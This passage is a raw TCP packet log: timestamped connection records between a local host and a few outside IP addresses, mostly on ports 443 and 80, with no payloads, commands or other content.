Nov 7, 2024 06:01:04.383702993 CET	49762	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.383717060 CET	443	49762	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.384160042 CET	49762	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.384165049 CET	443	49762	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.442028046 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.442248106 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.442316055 CET	49760	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.442420006 CET	49760	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.442435980 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.442454100 CET	49760	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.442460060 CET	443	49760	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.445843935 CET	49764	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.445874929 CET	443	49764	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.445959091 CET	49764	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.446109056 CET	49764	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.446124077 CET	443	49764	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.449306965 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.449525118 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.449652910 CET	49759	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.449687958 CET	49759	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.449703932 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.449716091 CET	49759	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.449721098 CET	443	49759	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.451888084 CET	49765	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.451921940 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.452003956 CET	49765	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.452147961 CET	49765	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.452167034 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.454610109 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.454771042 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.454819918 CET	49761	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.454933882 CET	49761	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.454947948 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.454958916 CET	49761	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.454963923 CET	443	49761	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.456855059 CET	49766	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.456865072 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.456933975 CET	49766	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.457031012 CET	49766	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.457042933 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.466963053 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.467147112 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.467200041 CET	49758	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.467231989 CET	49758	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.467243910 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.467257023 CET	49758	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.467262030 CET	443	49758	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.469337940 CET	49767	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.469350100 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.469398022 CET	49767	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.469511032 CET	49767	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.469523907 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.522919893 CET	443	49762	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.522984982 CET	443	49762	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.523144007 CET	49762	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.523184061 CET	49762	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.523195028 CET	443	49762	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.523207903 CET	49762	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.523212910 CET	443	49762	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.525365114 CET	49768	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.525397062 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.525458097 CET	49768	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.525619984 CET	49768	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:04.525629997 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:04.856365919 CET	80	49763	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:04.858858109 CET	49763	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:05.168986082 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.169667959 CET	49765	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.169701099 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.170685053 CET	49765	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.170691013 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.184273958 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.184601068 CET	49766	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.184622049 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.184954882 CET	49766	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.184962988 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.187659025 CET	443	49764	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.187947035 CET	49764	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.187964916 CET	443	49764	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.188265085 CET	49764	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.188268900 CET	443	49764	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.195066929 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.195383072 CET	49767	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.195400953 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.195696115 CET	49767	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.195700884 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.241790056 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.242264032 CET	49768	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.242286921 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:05.242702007 CET	49768	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:05.242711067 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329557896 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329611063 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329627991 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329643965 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329647064 CET	443	49764	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329684019 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329693079 CET	443	49764	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329694986 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329766989 CET	49765	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.329791069 CET	49764	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.329813957 CET	49767	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.329869032 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329900980 CET	49766	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.329925060 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.329967022 CET	49768	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.330235004 CET	49765	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.330257893 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.330271006 CET	49765	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.330276966 CET	443	49765	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.331810951 CET	49766	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.331830978 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.331841946 CET	49766	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.331847906 CET	443	49766	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.331948042 CET	49768	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.331971884 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.331990004 CET	49768	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.331996918 CET	443	49768	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.332721949 CET	49767	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.332732916 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.332743883 CET	49767	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.332746983 CET	443	49767	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.333348036 CET	49764	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.333353996 CET	443	49764	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.335971117 CET	49769	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.336011887 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.336042881 CET	49770	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.336076021 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.336086988 CET	49769	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.336119890 CET	49770	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337044954 CET	49771	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337061882 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.337137938 CET	49771	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337286949 CET	49769	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337300062 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.337376118 CET	49770	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337377071 CET	49772	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337393045 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.337408066 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.337457895 CET	49772	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337579012 CET	49772	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337588072 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.337682962 CET	49771	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.337692022 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.338406086 CET	49773	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.338453054 CET	443	49773	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.338521957 CET	49773	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.338632107 CET	49773	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:06.338644028 CET	443	49773	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:06.375885010 CET	49763	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:06.376245975 CET	49774	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:06.381057978 CET	80	49774	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:06.381166935 CET	49774	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:06.381283998 CET	49774	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:06.381284952 CET	80	49763	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:06.381345987 CET	49763	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:06.386197090 CET	80	49774	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:07.056457043 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.059205055 CET	49769	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.059259892 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.059703112 CET	49769	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.059709072 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.064050913 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.064640045 CET	49772	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.064666986 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.065078974 CET	49772	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.065087080 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.068130970 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.068180084 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.068598986 CET	49770	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.068612099 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.068774939 CET	49771	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.068790913 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.069030046 CET	49770	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.069036961 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.069358110 CET	49771	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.069365025 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.081412077 CET	443	49773	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.081855059 CET	49773	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.081895113 CET	443	49773	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.082278967 CET	49773	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.082287073 CET	443	49773	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.182952881 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.183016062 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.183074951 CET	49769	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.183285952 CET	49769	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.183320045 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.183336020 CET	49769	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.183341026 CET	443	49769	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.186182976 CET	49775	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.186225891 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.186302900 CET	49775	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.186450005 CET	49775	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.186467886 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.193181992 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.193384886 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.193438053 CET	49772	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.193483114 CET	49772	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.193495035 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.193504095 CET	49772	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.193510056 CET	443	49772	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.195642948 CET	49776	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.195684910 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.195739985 CET	49776	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.195864916 CET	49776	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.195880890 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.198565006 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.198738098 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.198781967 CET	49770	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.198812962 CET	49770	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.198827028 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.198837042 CET	49770	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.198842049 CET	443	49770	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.200689077 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.201118946 CET	49777	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.201136112 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.201195002 CET	49777	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.201262951 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.201318979 CET	49777	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.201318979 CET	49771	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.201327085 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.201354027 CET	49771	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.201364040 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.201376915 CET	49771	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.201380968 CET	443	49771	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.203465939 CET	49778	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.203478098 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.203537941 CET	49778	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.203649998 CET	49778	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.203666925 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.220578909 CET	443	49773	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.220632076 CET	443	49773	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.220849991 CET	49773	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.220849991 CET	49773	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.220889091 CET	49773	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.220901966 CET	443	49773	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.222742081 CET	49779	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.222754002 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.222830057 CET	49779	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.223082066 CET	49779	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.223090887 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.300597906 CET	80	49774	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:07.300812960 CET	49774	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:07.323613882 CET	49780	80	192.168.2.4	104.21.21.16
Nov 7, 2024 06:01:07.328779936 CET	80	49780	104.21.21.16	192.168.2.4
Nov 7, 2024 06:01:07.328857899 CET	49780	80	192.168.2.4	104.21.21.16
Nov 7, 2024 06:01:07.328984022 CET	49780	80	192.168.2.4	104.21.21.16
Nov 7, 2024 06:01:07.334184885 CET	80	49780	104.21.21.16	192.168.2.4
Nov 7, 2024 06:01:07.921880960 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.922703981 CET	49775	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.922749996 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.923237085 CET	49775	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.923243999 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.928848982 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.929395914 CET	49777	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.929419041 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.929805040 CET	49777	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.929809093 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.930115938 CET	80	49780	104.21.21.16	192.168.2.4
Nov 7, 2024 06:01:07.930151939 CET	80	49780	104.21.21.16	192.168.2.4
Nov 7, 2024 06:01:07.930171013 CET	80	49780	104.21.21.16	192.168.2.4
Nov 7, 2024 06:01:07.930182934 CET	80	49780	104.21.21.16	192.168.2.4
Nov 7, 2024 06:01:07.930192947 CET	80	49780	104.21.21.16	192.168.2.4
Nov 7, 2024 06:01:07.930243969 CET	49780	80	192.168.2.4	104.21.21.16
Nov 7, 2024 06:01:07.930243969 CET	49780	80	192.168.2.4	104.21.21.16
Nov 7, 2024 06:01:07.930290937 CET	49780	80	192.168.2.4	104.21.21.16
Nov 7, 2024 06:01:07.935780048 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.936295033 CET	49776	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.936330080 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.936688900 CET	49776	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.936695099 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.950980902 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.951587915 CET	49778	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.951611042 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.952034950 CET	49778	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.952040911 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.953766108 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.954124928 CET	49779	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.954153061 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:07.954437017 CET	49779	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:07.954442024 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.052916050 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.053210020 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.053303957 CET	49775	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.053381920 CET	49775	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.053401947 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.053414106 CET	49775	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.053419113 CET	443	49775	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.056921005 CET	49781	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.056967020 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.057066917 CET	49781	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.057118893 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.057184935 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.057234049 CET	49777	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.057329893 CET	49781	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.057338953 CET	443	49781	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.057343006 CET	49777	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.057359934 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.057370901 CET	49777	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.057375908 CET	443	49777	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.059782028 CET	49782	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.059803963 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.059883118 CET	49782	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.060045004 CET	49782	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.060055017 CET	443	49782	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.065581083 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.065658092 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.065781116 CET	49776	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.065949917 CET	49776	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.065968037 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.065979958 CET	49776	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.065984964 CET	443	49776	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.068495035 CET	49783	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.068516970 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.068614960 CET	49783	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.068739891 CET	49783	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.068747997 CET	443	49783	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.082016945 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.082216024 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.082304001 CET	49778	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.083690882 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.083774090 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.083851099 CET	49779	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.084287882 CET	49778	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.084297895 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.084321976 CET	49778	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.084330082 CET	443	49778	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.084669113 CET	49779	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.084693909 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.084722042 CET	49779	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.084727049 CET	443	49779	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.097460032 CET	49784	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.097506046 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.097593069 CET	49784	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.097774029 CET	49784	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.097793102 CET	443	49784	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.098694086 CET	49785	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.098745108 CET	443	49785	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:08.098798990 CET	49785	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:08.098910093 CET	49785	443	192.168.2.4	13.107.246.45
